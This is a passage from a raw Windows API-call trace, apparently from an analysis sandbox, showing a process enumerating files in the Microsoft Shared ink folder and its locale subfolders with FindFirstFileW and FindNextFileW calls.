cFileName=".", cAlternateFileName="")) returned 0x4d88a0 [0054.504] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.504] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2bbf40b, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2dd4721, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2dd4721, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.504] GetLastError () returned 0x12 [0054.504] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2bbf40b, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2dd4721, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2dd4721, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0054.504] FindClose (in: hFindFile=0x4d88a0 | out: hFindFile=0x4d88a0) returned 1 [0054.504] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3800070 | out: hHeap=0xab0000) returned 1 [0054.504] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0054.504] GetLastError () returned 0x12 [0054.505] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88a0 [0054.505] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.505] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe50f08dd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe539e167, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe539e167, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.505] GetLastError () returned 0x12 [0054.505] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe50f08dd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe539e167, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe539e167, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0054.505] FindClose (in: hFindFile=0x4d88a0 | out: hFindFile=0x4d88a0) returned 1 [0054.505] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3800070 | out: hHeap=0xab0000) returned 1 [0054.505] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0054.505] GetLastError () returned 0x12 [0054.505] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88a0 [0054.505] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.505] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8e3ba89, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe9004ae5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe9004ae5, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.505] GetLastError () returned 0x12 [0054.505] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8e3ba89, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe9004ae5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe9004ae5, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0054.506] FindClose (in: hFindFile=0x4d88a0 | out: hFindFile=0x4d88a0) returned 1 [0054.506] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3800070 | out: hHeap=0xab0000) returned 1 [0054.506] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ece8572, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x2ece8572, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x2ea60e45, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xb620, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrcommonlm.dat", cAlternateFileName="")) returned 1 [0054.506] GetLastError () returned 0x12 [0054.506] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HWRCustomization", cAlternateFileName="HWRCUS~1")) returned 1 [0054.506] GetLastError () returned 0x12 [0054.506] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcustomization\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88a0 [0054.506] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.506] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0054.506] FindClose (in: hFindFile=0x4d88a0 | out: hFindFile=0x4d88a0) returned 1 [0054.506] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3800070 | out: hHeap=0xab0000) returned 1 [0054.506] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f7eaa54, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x2f7eaa54, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x2f301d57, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xb6710, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrenalm.dat", cAlternateFileName="")) returned 1 [0054.506] GetLastError () returned 0x12 [0054.506] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33535c00, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x33535c00, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x332fa78d, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xc7240, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrenclm.dat", cAlternateFileName="")) returned 1 [0054.506] GetLastError () returned 0x12 [0054.506] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32bd661d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x32bd661d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x32a7f9d8, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x10ca50, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrlatinlm.dat", cAlternateFileName="")) returned 1 [0054.507] GetLastError () returned 0x12 [0054.507] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d94dbb3, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3d94dbb3, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3c28ab1e, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x2e99a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwruklm.dat", cAlternateFileName="")) returned 1 [0054.507] GetLastError () returned 0x12 [0054.507] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da5853e, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3da5853e, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3d7f6f6e, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x21ff00, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwruksh.dat", cAlternateFileName="")) returned 1 [0054.507] GetLastError () returned 0x12 [0054.507] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3db89026, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3db89026, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3d3cc942, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x30c330, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrusalm.dat", cAlternateFileName="")) returned 1 [0054.507] GetLastError () returned 0x12 [0054.507] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dbfb43d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3dbfb43d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3da7e69b, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x3ee0d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrusash.dat", cAlternateFileName="")) returned 1 [0054.507] GetLastError () returned 0x12 [0054.507] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c4bfb78, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x4c4bfb78, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x298e8420, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x56400, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkDiv.dll", cAlternateFileName="")) returned 1 [0054.507] GetLastError () returned 0x12 [0054.507] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c412911, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c412911, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x29a8c2e0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x201800, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkObj.dll", cAlternateFileName="")) returned 1 [0054.507] GetLastError () returned 0x12 [0054.507] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eab8150, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5eab8150, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe4490e80, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x61000, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkWatson.exe", cAlternateFileName="")) returned 1 [0054.508] GetLastError () returned 0x12 [0054.508] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7700d105, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x7700d105, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe45c2150, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5da00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization.exe", cAlternateFileName="")) returned 1 [0054.508] GetLastError () returned 0x12 [0054.508] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91865215, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x91865215, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa20, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscat.xml", cAlternateFileName="")) returned 1 [0054.508] GetLastError () returned 0x12 [0054.508] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27bfdab7, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27bfdab7, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x99e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipschs.xml", cAlternateFileName="")) returned 1 [0054.508] GetLastError () returned 0x12 [0054.508] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c23c14, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c23c14, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscht.xml", cAlternateFileName="")) returned 1 [0054.508] GetLastError () returned 0x12 [0054.508] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c23c14, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c23c14, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscsy.xml", cAlternateFileName="")) returned 1 [0054.508] GetLastError () returned 0x12 [0054.508] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c49d71, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c49d71, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsdan.xml", cAlternateFileName="")) returned 1 [0054.508] GetLastError () returned 0x12 [0054.509] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c49d71, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c49d71, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa38, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsdeu.xml", cAlternateFileName="")) returned 1 [0054.509] GetLastError () returned 0x12 [0054.509] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c6fece, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c6fece, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa12, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsen.xml", cAlternateFileName="")) returned 1 [0054.509] GetLastError () returned 0x12 [0054.509] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27cbc188, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27cbc188, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsesp.xml", cAlternateFileName="")) returned 1 [0054.509] GetLastError () returned 0x12 [0054.509] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58cd8515, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x58cd8515, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x5ca35e50, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPSEventLogMsg.dll", cAlternateFileName="")) returned 1 [0054.509] GetLastError () returned 0x12 [0054.509] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c9602b, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c9602b, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa62, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsfin.xml", cAlternateFileName="")) returned 1 [0054.509] GetLastError () returned 0x12 [0054.509] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27cbc188, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27cbc188, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa44, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsfra.xml", cAlternateFileName="")) returned 1 [0054.509] GetLastError () returned 0x12 [0054.509] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27ce22e5, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27ce22e5, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipshrv.xml", cAlternateFileName="")) returned 1 [0054.509] GetLastError () returned 0x12 [0054.510] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27ce22e5, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27ce22e5, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9de, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsita.xml", cAlternateFileName="")) returned 1 [0054.510] GetLastError () returned 0x12 [0054.510] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: 